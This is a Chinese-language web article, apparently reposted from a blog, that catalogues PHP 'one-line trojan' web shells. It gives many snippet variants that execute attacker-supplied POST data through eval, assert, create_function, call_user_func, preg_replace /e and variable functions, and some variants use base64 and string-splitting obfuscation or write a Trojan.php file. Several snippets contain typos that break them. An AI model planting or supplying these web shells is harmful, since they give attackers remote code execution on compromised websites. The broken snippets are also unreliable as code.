• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

关于PHP的一句话木马

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

$_GET[' ']、$_POST[' ']、$_COOKIE[' '] 接收我们传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

例如:<?php @eval($_POST['a']);?>

其中 eval 就是执行命令的函数,$_POST['a'] 就是接收的数据。 eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。

 

使用 其他函数制作一句话木马

assert函数

<?php assert[@$_POST['a']);?>

creat_funcction函数

<?php

$fun = creat_function('',$_POST['a']);

$fun();

?>

把用户传递的数据生成一个函数fun(),然后再执行fun()

call_user_func回调函数

<?php

@call_user_func(assert,$_POST['a']);

?>

call_user_func这个函数可以调用其他函数,被调用的函数是call_user_func的第一个函数,被调用的函数的参数是call_user_func的第二个参数。

preg_replace函数

<?php

@preg_replace("/abcde/e",$_POST['a'],"abcdefg");

?>

file_put_contents函数

<?php

$test='<?php $a=$a_POST["cmd"];assert($a);?>';

file_put_contents("Trojan.php",$test);

?>

函数功能:生成一个文件,第一个参数是文件名,第二个参数是文件内容。

str_replace函数

<?php

$a=str_replace("Walao","","eWaldoval");

$a=(@$_POST['a']);

?>

base64_decode函数

<?php

$a=base64_decode("ZXZhbA==")

$a($_POST['a']);

?>

parse_str函数

<?php

$str="a=eval";

parse_str($str);

$a($a_POST['a']);

?>

PHP变量函数

<?php

$a = "eval";

$a(@$_POST['a']);

?>

第三行使用了变量函数$a,变量存储了函数名eval,便可以直接使用变量替代函数名。

<?php

$bb="eval";

$a="bb";

$$aa($_POST['a']);

?>

<?php

$a="e"."v";

$b="a"."l";

$c=$a.$b;

$c=($_POST['a']);

?>

多种函数组合

例子

<?php

function fun()

{return $_POST['a'];}

@preg_replace("/test/e",fun(),"test test test");

?>

 


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
php判断服务器是否支持Gzip压缩功能发布时间:2022-07-10
下一篇:
PHP-max_execution_time与fpm.request_terminate_timeout介绍发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap